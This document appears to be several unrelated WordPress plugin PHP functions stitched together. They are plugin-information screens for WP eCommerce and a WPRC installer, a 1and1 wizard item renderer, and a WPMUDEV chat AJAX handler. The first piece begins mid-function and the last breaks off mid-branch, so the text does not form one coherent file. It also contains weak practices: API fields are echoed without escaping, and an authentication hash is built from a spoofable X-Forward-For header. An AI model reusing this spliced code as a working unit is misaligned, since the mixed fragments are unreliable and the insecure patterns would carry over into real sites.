iframe_header(__('Plugin Install', 'wpsc')); ?> <div class="alignleft fyi"> <h1><?php echo $api->name; ?> </h1> <?php if (!empty($api->download_link) && (current_user_can('install_plugins') || current_user_can('update_plugins'))) { ?> <p class="action-button"> <?php $status = self::install_status($api); switch ($status['status']) { case 'purchase': default: if ($status['url']) { echo '<a href="' . $status['url'] . '" target="_parent" id="' . $plugin . '" class="button-primary buy">' . sprintf(__('<span>$%.2f</span> Buy & Install', 'wpsc'), $api->price) . '</a>'; } break; case 'install': if ($status['url']) { echo '<a href="' . $status['url'] . '" class="button-primary install" title="' . __('You have already purchased, install now', 'wpsc') . '">' . __('Install Now', 'wpsc') . '</a>'; } break; case 'update_available': if ($status['url']) { echo '<a href="' . $status['url'] . '" class="button-primary install">' . __('Install Update Now', 'wpsc') . '</a>'; } break; case 'newer_installed': echo '<a>' . sprintf(__('Newer Version (%s) Installed', 'wpsc'), $status['version']) . '</a>'; break; case 'latest_installed': echo '<a>' . __('Latest Version Installed', 'wpsc') . '</a>'; break; } ?> </p> <?php } echo "<div id='plugin-information-header'>\n"; echo "<ul id='sidemenu'>\n"; foreach ((array) $api->sections as $section_name => $content) { if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $class = $section_name == $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => $section_name)); $href = esc_url($href); $san_section = esc_attr($section_name); echo "\t<li><a name='{$san_section}' href='{$href}'{$class}>{$title}</a></li>\n"; } if (!empty($api->screenshots)) { $title = $plugins_section_titles['screenshots']; $class = 'screenshots' == $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => 'screenshots')); $href = esc_url($href); echo "\t<li><a name='screenshots' href='{$href}'{$class}>{$title}</a></li>\n"; } echo "</ul>\n"; echo "</div>\n"; ?> <h2 class="mainheader"><?php /* translators: For Your Information */ _e('FYI', 'wpsc'); ?> </h2> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Version:', 'wpsc'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li><strong><?php _e('Author:', 'wpsc'); ?> </strong> <?php echo $api->author; ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:', 'wpsc'); ?> </strong> <span title="<?php echo $api->last_updated; ?> "><?php printf(__('%s ago', 'wpsc'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php } if (!empty($api->requires)) { ?> <li><strong><?php _e('Requires WordPress Version:', 'wpsc'); ?> </strong> <?php printf(__('%s or higher', 'wpsc'), $api->requires); ?> </li> <?php } if (!empty($api->tested)) { ?> <li><strong><?php _e('Compatible up to:', 'wpsc'); ?> </strong> <?php echo $api->tested; ?> </li> <?php } if (!empty($api->requires_wpec)) { ?> <li><strong><?php _e('Requires WPeC Version:', 'wpsc'); ?> </strong> <?php printf(__('%s or higher', 'wpsc'), $api->requires_wpec); ?> </li> <?php } if (!empty($api->tested_wpec)) { ?> <li><strong><?php _e('Compatible up to WPEC Version:', 'wpsc'); ?> </strong> <?php echo $api->tested_wpec; ?> </li> <?php } if (!empty($api->downloaded)) { ?> <li><strong><?php _e('Downloaded:', 'wpsc'); ?> </strong> <?php printf(_n('%s time', '%s times', $api->downloaded, 'wpsc'), number_format_i18n($api->downloaded)); ?> </li> <?php } if (!empty($api->homepage)) { ?> <li><a target="_blank" href="<?php echo $api->homepage; ?> "><?php _e('Plugin Homepage »', 'wpsc'); ?> </a></li> <?php } ?> </ul> </div> <div id="section-holder" class="wrap"> <?php if (!empty($api->tested) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.', 'wpsc') . '</p></div>'; } else { if (!empty($api->requires) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.', 'wpsc') . '</p></div>'; } else { if (!empty($api->requires_wpec) && version_compare(substr(WPSC_VERSION, 0, strlen($api->requires_wpec)), $api->requires_wpec, '<')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WP eCommerce.', 'wpsc') . '</p></div>'; } else { if (!empty($api->tested_wpec) && version_compare(substr(WPSC_VERSION, 0, strlen($api->tested_wpec)), $api->tested_wpec, '<')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your version of WP eCommerce.', 'wpsc') . '</p></div>'; } } } } foreach ($api->sections as $section_name => $content) { if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $content = links_add_base_url($content, $api->permalink); $content = links_add_target($content, '_blank'); $san_section = esc_attr($title); $display = $section_name == $section ? 'block' : 'none'; echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n"; echo "\t\t<h2 class='long-header'>{$title}</h2>"; echo $content; echo "\t</div>\n"; } if (!empty($api->screenshots)) { $display = 'screenshots' == $section ? 'block' : 'none'; echo "\t<div id='section-screenshots' class='section' style='display: {$display};'>\n"; echo "\t\t<h2 class='long-header'>Screenshots</h2>\n"; echo "\t\t<ol>\n"; foreach ($api->screenshots as $data) { echo "\t\t\t<li><img src='{$data->location}' class='screenshot' /><p>{$data->caption}</p></li>\n"; } echo "\t\t</ol>\n"; echo "\t</div>\n"; } echo "</div>\n"; iframe_footer(); die; }
public static function wprc_install_plugin_information() { global $tab, $wp_version; $api = plugins_api('plugin_information', array('slug' => stripslashes($_REQUEST['plugin']))); if (is_wp_error($api)) { wp_die($api); } $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); $plugins_section_titles = array('description' => _x('Description', 'Plugin installer section title', 'installer'), 'installation' => _x('Installation', 'Plugin installer section title', 'installer'), 'faq' => _x('FAQ', 'Plugin installer section title', 'installer'), 'screenshots' => _x('Screenshots', 'Plugin installer section title', 'installer'), 'changelog' => _x('Changelog', 'Plugin installer section title', 'installer'), 'other_notes' => _x('Other Notes', 'Plugin installer section title', 'installer')); //Sanitize HTML foreach ((array) $api->sections as $section_name => $content) { $api->sections[$section_name] = wp_kses($content, $plugins_allowedtags); } foreach (array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key) { if (isset($api->{$key})) { $api->{$key} = wp_kses($api->{$key}, $plugins_allowedtags); } } $section = isset($_REQUEST['section']) ? stripslashes($_REQUEST['section']) : 'description'; //Default to the Description tab, Do not translate, API returns English. if (empty($section) || !isset($api->sections[$section])) { $section = array_shift($section_titles = array_keys((array) $api->sections)); } iframe_header(__('Plugin Install', 'installer')); echo "<div id='{$tab}-header'>\n"; echo "<ul id='sidemenu'>\n"; foreach ((array) $api->sections as $section_name => $content) { if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $class = $section_name == $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => $section_name)); $href = esc_url($href); $san_section = esc_attr($section_name); echo "\t<li><a name='{$san_section}' href='{$href}' {$class}>{$title}</a></li>\n"; } echo "</ul>\n"; echo "</div>\n"; $status = self::wprc_install_plugin_install_status($api); ?> <div class="alignright fyi"> <?php if ($status['status'] == 'latest_installed' || $status['status'] == 'newer_installed' || !empty($api->download_link) && (current_user_can('install_plugins') || current_user_can('update_plugins'))) { ?> <p class="action-button"> <?php switch ($status['status']) { case 'install': if ($status['url']) { echo '<a href="' . $status['url'] . '" target="_parent">' . __('Install Now', 'installer') . '</a>'; } break; case 'update_available': if ($status['url']) { echo '<a href="' . $status['url'] . '" target="_parent">' . __('Install Update Now', 'installer') . '</a>'; } break; case 'newer_installed': echo '<a>' . sprintf(__('Newer Version (%s) Installed', 'installer'), $status['version']) . '</a>'; break; case 'latest_installed': echo '<a>' . __('Latest Version Installed', 'installer') . '</a>'; break; } ?> </p> <?php } if (isset($api->message) && !empty($api->message) && (current_user_can('install_plugins') || current_user_can('update_plugins'))) { ?> <?php //echo wp_kses($api->message, $plugins_allowedtags); $message = WPRC_Functions::formatMessage($api->message); if (isset($api->message_type) && $api->message_type == 'notify') { WPRC_AdminNotifier::addMessage('wprc-plugin-info-' . $api->slug, $message); } else { echo $message; } ?> <?php } elseif (!($status['status'] == 'latest_installed' || $status['status'] == 'newer_installed') && (isset($api->purchase_link) && !empty($api->purchase_link) && isset($api->price) && !empty($api->price) && (current_user_can('install_plugins') || current_user_can('update_plugins')))) { ?> <p class="action-button"> <?php $purl = WPRC_Functions::sanitizeURL($api->purchase_link); $return_url = rawurlencode(admin_url('plugin-install.php?tab=plugin-information&repository_id=' . $api->repository_id . '&plugin=' . $api->slug)); $salt = rawurlencode($api->salt); if (strpos($purl, '?')) { $url_glue = '&'; } else { $url_glue = '?'; } $purl .= $url_glue . 'return_to=' . $return_url . '&rsalt=' . $salt; echo '<a href="' . $purl . '">' . sprintf(__('Buy %s', 'installer'), '(' . $api->currency->symbol . $api->price . ' ' . $api->currency->name . ')') . '</a>'; ?> </p> <?php } ?> <?php if (isset($api->rauth) && $api->rauth == false) { ?> <p><?php _e('Authorization Failed!', 'installer'); ?> </p> <?php } ?> <h2 class="mainheader"><?php /* translators: For Your Information */ _e('FYI'); ?> </h2> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Version:', 'installer'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li><strong><?php _e('Author:', 'installer'); ?> </strong> <?php echo links_add_target($api->author, '_blank'); ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:', 'installer'); ?> </strong> <span title="<?php echo $api->last_updated; ?> "><?php printf(__('%s ago', 'installer'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php } if (!empty($api->requires)) { ?> <li><strong><?php _e('Requires WordPress Version:', 'installer'); ?> </strong> <?php printf(__('%s or higher', 'installer'), $api->requires); ?> </li> <?php } if (!empty($api->tested)) { ?> <li><strong><?php _e('Compatible up to:', 'installer'); ?> </strong> <?php echo $api->tested; ?> </li> <?php } if (!empty($api->downloaded)) { ?> <li><strong><?php _e('Downloaded:', 'installer'); ?> </strong> <?php printf(_n('%s time', '%s times', $api->downloaded, 'installer'), number_format_i18n(intval($api->downloaded))); ?> </li> <?php } if (!empty($api->slug) && empty($api->external)) { ?> <li><a target="_blank" href="http://wordpress.org/extend/plugins/<?php echo $api->slug; ?> /"><?php _e('WordPress.org Plugin Page »', 'installer'); ?> </a></li> <?php } if (!empty($api->homepage)) { ?> <li><a target="_blank" href="<?php echo $api->homepage; ?> "><?php _e('Plugin Homepage »', 'installer'); ?> </a></li> <?php } ?> </ul> <?php if (!empty($api->rating)) { ?> <?php if (version_compare($wp_version, "3.4", ">=")) { ?> <h2><?php _e('Average Rating', 'installer'); ?> </h2> <div class="star-holder" title="<?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings, 'installer'), number_format_i18n(intval($api->num_ratings))); ?> "> <div class="star star-rating" style="width: <?php echo esc_attr(str_replace(',', '.', $api->rating)); ?> px"></div> </div> <small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings, 'installer'), number_format_i18n(intval($api->num_ratings))); ?> </small> <?php } else { ?> <h2><?php _e('Average Rating', 'installer'); ?> </h2> <div class="star-holder" title="<?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings, 'installer'), number_format_i18n(intval($api->num_ratings))); ?> "> <div class="star star-rating" style="width: <?php echo esc_attr($api->rating); ?> px"></div> <div class="star star5"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('5 stars'); ?> " /></div> <div class="star star4"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('4 stars'); ?> " /></div> <div class="star star3"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('3 stars'); ?> " /></div> <div class="star star2"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('2 stars'); ?> " /></div> <div class="star star1"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('1 star'); ?> " /></div> </div> <small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings, 'installer'), number_format_i18n(intval($api->num_ratings))); ?> </small> <?php } ?> <?php } ?> </div> <div id="section-holder" class="wrap"> <?php if (!empty($api->tested) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.', 'installer') . '</p></div>'; } else { if (!empty($api->requires) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.', 'installer') . '</p></div>'; } } if (version_compare($wp_version, "3.4", ">=")) { foreach ((array) $api->sections as $section_name => $content) { if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $content = links_add_base_url($content, 'http://wordpress.org/extend/plugins/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_section = esc_attr($section_name); $display = $section_name == $section ? 'block' : 'none'; echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n"; echo "\t\t<h2 class='long-header'>{$title}</h2>"; echo $content; echo "\t</div>\n"; } } else { foreach ((array) $api->sections as $section_name => $content) { $title = $section_name; $title[0] = strtoupper($title[0]); $title = str_replace('_', ' ', $title); $content = links_add_base_url($content, 'http://wordpress.org/extend/plugins/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_title = esc_attr(sanitize_title_with_dashes($title)); $display = $section_name == $section ? 'block' : 'none'; echo "\t<div id='section-{$san_title}' class='section' style='display: {$display};'>\n"; echo "\t\t<h2 class='long-header'>{$title}</h2>"; echo $content; echo "\t</div>\n"; } } echo "</div>\n"; iframe_footer(); exit; }
public static function get_plugin_item($plugin, $popup_id, $plugin_default_checked) { ?> <div class="oneandone-selectable-item"> <h3 class="oneandone-plugin-type"><?php echo self::get_category_name($plugin->category); ?> </h3> <div class="oneandone-plugin-description" onclick="showBox(<?php echo htmlspecialchars(json_encode($popup_id)); ?> , '')"> <?php echo $plugin->short_description; ?> </div> <span class="oneandone-plugin-more-details" onclick="showBox(<?php echo htmlspecialchars(json_encode($popup_id)); ?> , '')"> <?php esc_html_e('More information', '1and1-wordpress-wizard'); ?> </span> <h3 class="oneandone-plugin-name"><?php echo $plugin->name; ?> </h3> <div class="oneandone-install-checkbox<?php echo $plugin_default_checked == true ? ' checked' : ''; ?> "> <label for="plugin-<?php echo $plugin->slug; ?> "> <input id="plugin-<?php echo $plugin->slug; ?> " name="plugins[]" value="<?php echo $plugin->slug; ?> " type="checkbox" <?php echo $plugin_default_checked == true ? 'checked' : ''; ?> > <?php _e('Install', '1and1-wordpress-wizard'); ?> </label> </div> <div id="<?php echo $popup_id; ?> " style="display:none"> <h3 class="oneandone-popup-plugin-name"><?php echo $plugin->name; ?> </h3> <h4 class="oneandone-popup-plugin-author"><?php printf(esc_html('By %s', '1and1-wordpress-wizard'), $plugin->author); ?> </h4> <div><?php echo links_add_target($plugin->description, '_blank'); ?> </div> </div> </div> <?php }
/** * Process chat requests * * Mostly copied from process.php * * @global object $current_user * @param string $return Return? 'yes' or 'no' * @return string If $return is yes will return the output else echo */ function process_chat_actions($return = 'no') { if (!isset($_POST['function'])) { die; } $function = $_POST['function']; switch ($function) { case 'chat_init': $reply_data = array(); foreach ($this->chat_sessions as $chat_id => $chat_session) { //echo "chat_session<pre>"; print_r($chat_session); echo "</pre>"; $reply_data[$chat_id] = array(); $reply_data[$chat_id]['html'] = $this->chat_session_build_box($chat_session); // We load the box CSS via the AJAX call. This helps when bots are hitting the page. $reply_data[$chat_id]['css'] = $this->chat_session_box_styles($chat_session); } wp_send_json($reply_data); die; break; case 'chat_message_send': $reply_data = array(); $reply_data['errorStatus'] = false; $reply_data['errorText'] = ''; if (!isset($_POST['chat_messages']) || !count($_POST['chat_messages'])) { $reply_data['errorText'] = "chat_messages missing"; $reply_data['errorStatus'] = true; wp_send_json($reply_data); die; } // Double check the user's authentication. Seems some users can login with multiple tabs. If they log out of one tab they // should not be able to post via the other tab. if (!isset($this->chat_auth['type'])) { $reply_data['errorText'] = "Unknown user type"; $reply_data['errorStatus'] = true; wp_send_json($reply_data); die; } //log_chat_message(__FUNCTION__. ": ". $function .": ------------------------------------------------------"); foreach ($_POST['chat_messages'] as $chat_id => $chat_messages) { if (!isset($this->chat_sessions[$chat_id])) { continue; } if (!is_array($chat_messages) || !count($chat_messages)) { continue; } $chat_session = $this->chat_sessions[$chat_id]; if (!isset($reply_data['chat_messages'][$chat_id])) { $reply_data['chat_messages'][$chat_id] = array(); } //log_chat_message(__FUNCTION__ .": chat_id[". $chat_id ."] chat_message[". print_r($chat_messages, true) ."]"); foreach ($chat_messages as $chat_message_idx => $chat_message) { $reply_data['chat_messages'][$chat_id][$chat_message_idx] = false; $chat_message = urldecode($chat_message); $chat_message = stripslashes($chat_message); // Replace the chr(10) Line feed (not the chr(13) carraige return) with a placeholder. Will be replaced with // real <br /> after filtering This is done so when we convert text within [code][/code] the <br /> are not // converted to entities. Because we want the code to be formatted $chat_message = str_replace(chr(10), "[[CR]]", $chat_message); // In case the user entered HTML <code></code> instead of [code][/code] $chat_message = str_replace("<code>", "[code]", $chat_message); $chat_message = str_replace("</code>", "[/code]", $chat_message); // We also can accept backtick quoted text and convert to [code][/code] $chat_message = preg_replace('/`(.*?)`/', '[code]$1[/code]', $chat_message); // Now split out the [code][/code] sections. //preg_match_all("|\[code\](.*)\[/code\]|s", $chat_message, $code_out); preg_match_all("~\\[code\\](.+?)\\[/code\\]~si", $chat_message, $code_out); if ($code_out && is_array($code_out) && is_array($code_out[0]) && count($code_out[0])) { foreach ($code_out[0] as $code_idx => $code_str_original) { if (!isset($code_out[1][$code_idx])) { continue; } // Here we replace our [code][/code] block or text in the message with placeholder [code-XXX] where XXX // is the index (0,1,2,3, etc.) Again we do this because in the next step we will strip out all HTML not // allowed. We want to protect any HTML within the code block // which will be converted to HTML entities after the filtering. $chat_message = str_replace($code_str_original, '[code-' . $code_idx . ']', $chat_message); } } // First strip all the tags! $allowed_protocols = array(); $allowed_html = array(); /* $allowed_html = array( 'a' => array('href' => array()), 'br' => array(), 'em' => array(), 'strong' => array(), 'strike' => array(), 'blockquote' => array() ); */ $chat_message = wp_kses($chat_message, $allowed_html, $allowed_protocols); // If the user enters something that liiks like a link (http://, ftp://, etc) it will be made clickable // in that is will be wrapped in an anchor, etc. The the link tarket will be set so clicking it will open // in a new window $chat_message = links_add_target(make_clickable($chat_message)); // Now that we can filtered the text outside the [code][/code] we want to convert the code section HTML to entities since it // will be viewed that way by other users. if ($code_out && is_array($code_out) && is_array($code_out[0]) && count($code_out[0])) { foreach ($code_out[0] as $code_idx => $code_str_original) { if (!isset($code_out[1][$code_idx])) { continue; } $code_str_replace = "<code>" . htmlentities2($code_out[1][$code_idx], ENT_QUOTES | ENT_XHTML) . "</code>"; $chat_message = str_replace('[code-' . $code_idx . ']', $code_str_replace, $chat_message); } } // Finally convert any of our CR placeholders to HTML breaks. $chat_message = str_replace("[[CR]]", '<br />', $chat_message); // Just as a precaution. After processing we may end up with double breaks. So we convert to single. $chat_message = str_replace("<br /><br />", '<br />', $chat_message); // End message filtering if ($chat_message == '') { continue; } // Truncate the message IF the max length is set if (!wpmudev_chat_is_moderator($chat_session)) { if ($chat_session['row_message_input_length'] > 0 && strlen($chat_message) > $chat_session['row_message_input_length']) { $chat_message = substr($chat_message, 0, $chat_session['row_message_input_length']); } } // Process bad words if ($this->_chat_options['banned']['blocked_words_active'] == "enabled" && $chat_session['blocked_words_active'] == "enabled") { $chat_message = str_ireplace($this->_chat_options['banned']['blocked_words'], $this->_chat_options['banned']['blocked_words_replace'], $chat_message); } /* // Save for later. We had a request to support latex via chat if (preg_match('/\[latex\](.*)\[\/latex\]/', $chat_message, $match)) { if (isset($match[1])) { $latex_content = $match[1]; $latex_content = '[latexpage] \['. $match[1] .'\]'; $latex_image = quicklatex_parser($latex_content); if ($latex_image) { $latex_image = strip_tags($latex_image, '<img>'); $chat_message = str_replace($match[0], $latex_image, $chat_message); } } } */ $ret = $this->chat_session_send_message($chat_message, $chat_session); if (!empty($ret)) { $reply_data['chat_messages'][$chat_id][$chat_message_idx] = true; } //$reply_data['errorText'] = "chat_message sent to DB wpdb[". $ret. "]"; } } // From wordpress-chat-2.0.2-Beta1 // Begin message filtering //$chat_message = $_POST['chat_message']; //log_chat_message(__FUNCTION__. ": ". $function ."\r\n"); wp_send_json($reply_data); die; break; case 'chat_user_login': $reply_data = array(); $reply_data['errorStatus'] = false; $reply_data['errorText'] = ''; if (!isset($_POST['user_info'])) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('missing POST user_info', $this->translation_domain); wp_send_json($reply_data); die; } $user_info = $_POST['user_info']; switch ($user_info['type']) { case 'public_user': if (!isset($user_info['name']) || !isset($user_info['email'])) { $reply_data['errorText'] = __('Please provide valid Name and Email.', $this->translation_domain); $reply_data['errorStatus'] = true; wp_send_json($reply_data); die; } $user_info['name'] = esc_attr($user_info['name']); $user_info['email'] = esc_attr($user_info['email']); if (empty($user_info['name']) || empty($user_info['email']) || !is_email($user_info['email'])) { $reply_data['errorText'] = __('Please provide valid Name and Email.', $this->translation_domain); $reply_data['errorStatus'] = true; wp_send_json($reply_data); die; } $user_name_id = username_exists($user_info['name']); if ($user_name_id) { $reply_data['errorText'] = __('Name already registered. Try something unique', $this->translation_domain); $reply_data['errorStatus'] = true; wp_send_json($reply_data); die; } $user_name_id = email_exists($user_info['email']); if ($user_name_id) { $reply_data['errorText'] = __('Email already registered. Try something unique', $this->translation_domain); $reply_data['errorStatus'] = true; wp_send_json($reply_data); die; } $avatar = get_avatar($user_info['email'], 96, get_option('avatar_default'), $user_info['name']); if ($avatar) { $avatar_parts = array(); if (stristr($avatar, ' src="') !== false) { preg_match('/src="([^"]*)"/i', $avatar, $avatar_parts); } else { if (stristr($avatar, " src='") !== false) { preg_match("/src='([^']*)'/i", $avatar, $avatar_parts); } } if (isset($avatar_parts[1]) && !empty($avatar_parts[1])) { $user_info['avatar'] = $avatar_parts[1]; } } $user_info['ip_address'] = isset($_SERVER['HTTP_X_FORWARD_FOR']) ? $_SERVER['HTTP_X_FORWARD_FOR'] : $_SERVER['REMOTE_ADDR']; $user_info['auth_hash'] = md5($user_info['name'] . $user_info['email'] . $user_info['ip_address']); $reply_data['user_info'] = $user_info; break; case 'facebook': case 'google_plus': case 'twitter': $user_info['ip_address'] = isset($_SERVER['HTTP_X_FORWARD_FOR']) ? $_SERVER['HTTP_X_FORWARD_FOR'] : $_SERVER['REMOTE_ADDR']; $user_info['auth_hash'] = md5($user_info['id'] . $user_info['ip_address']); $reply_data['user_info'] = $user_info; break; default: break; } wp_send_json($reply_data); die; break; case 'chat_messages_update': $reply_data = array(); //echo "_POST<pre>"; print_r($_POST); echo "</pre>"; //log_chat_message(__FUNCTION__. ": ". $function .": ------------------------------------------------------"); $reply_data['errorStatus'] = false; $reply_data['errorText'] = ''; $reply_data['sessions'] = array(); $reply_data['invites'] = array(); if (isset($_POST['timers'])) { $timers = $_POST['timers']; } else { $timers = array(); } //log_chat_message(__FUNCTION__ .": timers". print_r($timers, true). ""); // We first want to grab the invites for the users. This will setup the extra items in the $this->chat_sessions reference. Then later // in this section we will also add the rows and meta updates for the new invite box. if ($this->using_popup_out_template == false && isset($timers['invites']) && $timers['invites'] == 1) { //log_chat_message(__FUNCTION__ .": timer invite[1]"); $reply_data['invites'] = $this->chat_session_get_invites_new(); } //if (!isset($chat_session['since'])) $chat_session['since'] = 0; //if (!isset($chat_session['last_row_id'])) $chat_session['last_row_id'] = 0; $this->chat_auth['ip_address'] = isset($_SERVER['HTTP_X_FORWARD_FOR']) ? $_SERVER['HTTP_X_FORWARD_FOR'] : $_SERVER['REMOTE_ADDR']; foreach ($this->chat_sessions as $chat_id => $chat_session) { // Now process the meta information. Session Status, Deleted Row IDs and Session Users $reply_data['sessions'][$chat_id]['meta'] = array(); if (!isset($this->chat_sessions_meta[$chat_id])) { $this->chat_sessions_meta[$chat_id] = $this->chat_session_get_meta($chat_session); } if (isset($timers['messages']) && $timers['messages'] == 1) { //log_chat_message(__FUNCTION__ .": timer messages[1]"); if (!isset($chat_session['last_row_id'])) { $chat_session['last_row_id'] = "__EMPTY__"; } //log_chat_message(__FUNCTION__ .": last_row_id chat_session[". $chat_session['last_row_id'] ."] meta[". $this->chat_sessions_meta[$chat_id]['last_row_id'] ."]"); //if ($this->chat_sessions_meta[$chat_id]['last_row_id'] === "__EMPTY__") { // //log_chat_message(__FUNCTION__ .": here #1"); // $reply_data['sessions'][$chat_id]['rows'] = "__EMPTY__"; //} else if ($chat_session['last_row_id'] != $this->chat_sessions_meta[$chat_id]['last_row_id']) { $reply_data['sessions'][$chat_id]['rows'] = array(); $new_rows = $this->chat_session_get_message_new($chat_session); //log_chat_message(__FUNCTION__ .': new_rows<pre>'. print_r($new_rows, true) .'</pre>'); if ($new_rows && count($new_rows)) { // Init the reply last_row_id with what was sent. $reply_data['sessions'][$chat_id]['last_row_id'] = $chat_session['last_row_id']; $_LAST_ROW_UPDATED = false; foreach ($new_rows as $row_idx => $row) { if (intval($chat_session['last_row_id']) > 0 && $row->id == $chat_session['last_row_id']) { continue; } $reply_data['sessions'][$chat_id]['rows'][strtotime($row->timestamp) . "-" . $row->id] = $this->chat_session_build_row($row, $chat_session); // Then update the last_row_id based on the higher row->id values returned if ($_LAST_ROW_UPDATED == false) { $reply_data['sessions'][$chat_id]['last_row_id'] = $row->id; $_LAST_ROW_UPDATED = true; } //log_chat_message(__FUNCTION__ .': row_idx['. $row_idx.'] new row['. $row->id .'] message['. $row->message .']'); } if (count($reply_data['sessions'][$chat_id]['rows'])) { ksort($reply_data['sessions'][$chat_id]['rows']); } } else { $reply_data['sessions'][$chat_id]['rows'] = "__EMPTY__"; } //log_chat_message("\r\n"); //} $reply_data['sessions'][$chat_id]['meta'] = $this->chat_session_update_meta_log($chat_session); } if (isset($timers['meta']) && $timers['meta'] == 1) { //log_chat_message(__FUNCTION__ .": timer meta[1]"); //$reply_data['sessions'][$chat_id]['meta'] = $this->chat_session_update_meta_log($chat_session); //log_chat_message(__FUNCTION__ .": meta". print_r($reply_data['sessions'][$chat_id]['meta'], true)); $reply_data['sessions'][$chat_id]['global'] = $this->chat_session_update_global_log($chat_session); //log_chat_message(__FUNCTION__ .": global". print_r($reply_data['sessions'][$chat_id]['global'], true)); } // We update the usermeta with the current tmestamp if (isset($timers['users']) && $timers['users'] == 1) { //log_chat_message(__FUNCTION__ .": timer users[1]"); $this->chat_session_users_update_polltime($chat_session); $reply_data['sessions'][$chat_id]['meta']['users-active'] = $this->chat_session_get_active_users($chat_session); //log_chat_message(__FUNCTION__ .": users-active". print_r($reply_data['sessions'][$chat_id]['meta']['users-active'], true)); } } wp_send_json($reply_data); die; break; case 'chat_meta_leave_private_session': global $wpdb; $reply_data = array(); $reply_data['errorStatus'] = false; $reply_data['errorText'] = ''; $reply_data['sessions'] = array(); // Get Private chats if (!isset($this->chat_auth['auth_hash']) || empty($this->chat_auth['auth_hash'])) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid auth_hash', $this->translation_domain); wp_send_json($reply_data); die; } //echo "chat_sessions<pre>"; print_r($this->chat_sessions); echo "</pre>"; //echo "chat_auth<pre>"; print_r($this->chat_auth); echo "</pre>"; //die(); foreach ($this->chat_sessions as $chat_id => $chat_session) { //echo "chat_session<pre>"; print_r($chat_session); echo "</pre>"; $reply_data['sessions'][$chat_id] = $chat_id; $sql_str = $wpdb->prepare("UPDATE " . WPMUDEV_Chat::tablename('message') . " SET archived=%s WHERE chat_id=%s AND session_type=%s AND auth_hash=%s LIMIT 1", 'yes', $chat_session['id'], 'invite', $this->chat_auth['auth_hash']); //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $wpdb->query($sql_str); // When the moderator leave we archive the chat. if (wpmudev_chat_is_moderator($chat_session)) { $this->chat_session_archive_messages($chat_session); } } wp_send_json($reply_data); die; break; case 'chat_messages_clear': global $wpdb; $reply_data = array(); $reply_data['errorStatus'] = false; $reply_data['errorText'] = ''; // If the user doesn't have a type if (!isset($this->chat_auth['type'])) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); wp_send_json($reply_data); die; } else { if ($this->chat_auth['type'] != "wordpress") { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); wp_send_json($reply_data); die; } } if (!is_user_logged_in()) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); 